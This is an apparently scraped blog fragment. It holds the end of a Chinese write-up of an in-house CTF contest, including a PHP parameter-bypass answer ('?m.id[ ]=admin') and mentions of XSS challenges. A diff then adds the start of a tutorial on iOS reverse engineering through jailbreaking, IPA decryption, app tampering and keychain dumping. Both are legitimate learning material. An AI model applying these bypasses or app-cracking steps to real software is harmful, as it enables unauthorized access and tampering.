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
+

從開頭可以知道這是一張圖片的base64壓縮圖,我們把以上編碼直接貼到瀏覽器網址列就能得到解答所在網址,進入網址後即可通關!

4.衝出封鎖線

題目說明: 這題一打開就是顯示這題的PHP程式,要想辦法用GET參數繞過判斷執行else裡面的setPassedCookie( );方法。

解題:本題是一個蠻常用但卻很少人知道的PHP漏洞,詳細介紹如下:

[ctf中常见的PHP漏洞小结](https://xz.aliyun.com/t/3085){:target="_blank"}

ctf中常见的PHP漏洞小结

題目有稍微改過,這題的答案是:?m.id[ ]=admin

5.滲透的考驗、6.滲透的考驗2

這兩題都是入門的基礎XSS題目這邊就不做贅述。

這題由於解答我放在前端,這邊使用了一個提供不可逆加密的JS網站: https://www.sojson.com/jsobfuscator.html

(雖然我不確定是否為真?反正有辦法破解的話也就當他通過吧!)

7.月光寶盒

這題是從解謎APP拉出來的題目,這邊也不做展示。

總結

比賽系統大約花一週時間建置,題目大約花了三個月慢慢慢湊齊(要有靈感);比賽也已圓滿落幕,得到的反饋都還不錯~「有趣好玩」;這也是我的初心,希望大家以有趣為出發點去探索、腦力激盪;所以不管是題目名稱(都很電影)、題目方向,都不會有太深入工程、計算的東西,這樣就太死不有趣了!

另外,這邊附上題目回答率,當做難易度參考:

當初在出題的時候最怕的就是題目太簡單大家很快就解完或題目太難大家都卡關,兩種狀況都很尷尬。

以上題目實際比賽結果(比賽時間:90分鐘)符合我們的期望,剛剛好!不會太難獲太簡單,第一名的組別解了9題,即使是最後一名的組別也解了7題;非常接近,但因為有時間分數、購買提示的因素,所以最後還是分得出高下!

比較意外的是通往魔法學院的大門…居然沒人解出來QQ

以上就是這次舉辦工程CTF大賽的總整理

Addcn 2019 CTF

Addcn 2019 CTF

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Apple Watch 保護殼開箱體驗 (Catalyst & Muvit)

APP有用HTTPS傳輸,但資料還是被偷了。

diff --git a/posts/7498e1ff93ce/index.html b/posts/7498e1ff93ce/index.html new file mode 100644 index 000000000..733f4aec0 --- /dev/null +++ b/posts/7498e1ff93ce/index.html @@ -0,0 +1,5 @@ + iOS 逆向工程初體驗 | ZhgChgLi
Home iOS 逆向工程初體驗
Post
Cancel

iOS 逆向工程初體驗

iOS 逆向工程初體驗

從越獄、提取iPA檔敲殼到UI分析注入及反編譯的探索過程

關於安全

之前唯一做過跟安全有關的就只有 << 使用中間人攻擊嗅探傳輸資料 >> ;另外也接續這篇,假設我們在資料傳輸前編碼加密、接受時 APP 內解密,用以防止中間人嗅探;那還有可能被偷走資料嗎?

答案是肯定的!,就算沒真的試驗過;世界上沒有破不了的系統,只有時間成本的問題,當破解耗費的時間精力大於破解成果,那就可以稱為是安全的!

How?

都做到這樣了,那還能怎麼破?就是本篇想記錄的議題 — 「逆向工程 」 ,敲開你的 APP 研究你是怎麼做加解密的;其實一直以來對這個領域都是懵懵懂懂,只在 iPlayground 2019 上聽過兩堂大大的分享,大概知道原理還有怎麼實現,最近剛好有機會玩了一下跟大家分享!

逆了向,能幹嘛?

  • 查看 APP UI 排版方式、結構
  • 獲取 APP 資源目錄 .assets/.plist/icon…
  • 竄改 APP 功能重新打包 (EX: 去廣告)
  • 反編譯推測原始程式碼內容取得商業邏輯資訊
  • dump 出 .h 標頭檔 / keycahin 內容

實現環境

macOS 版本: 10.15.3 Catalina iOS 版本: iPhone 6 (iOS 12.4.4 / 已越獄) *必要 Cydia: Open SSH

越獄的部分

任何版本的 iOS、iPhone 都可以,只要是能越獄的設備,建議使用舊的手機或是開發機,以避免不必要的風險;可根據自己的手機、iOS 版本參考 瘋先生越獄教學 ,必要時需要將 iOS 降版認證狀態查詢 )再越獄。

我是拿之前的舊手機 iPhone 6 來測試,原本已經升到 iOS 12.4.5 了,但發現 12.4.5 一直越獄不成功,所幸先降回 12.4.4 然後使用 checkra1n 越獄就成功了!

步驟不多,也不難;只是需要時間等待!

附上一個自己犯蠢的經驗: 下載完舊版 IPSW 檔案後,手機接上 Mac ,直接使用 Finder 檔案瀏覽器(macOS 10.5 後就沒有 iTunes 了),在左方 Locations 選擇手機,出現手機資訊畫面後, 「Option」按著然後再點「Restore iPhone」 就能跳出 IPSW 檔案選擇視窗,選擇剛下載下來的舊版 IPSW 檔案就能完成刷機降版。

我本來傻傻的直接按 Restore iPhone…只會浪費時間重刷一次最新版而已….

使用 lookin 工具查看別人的 APP UI 排版

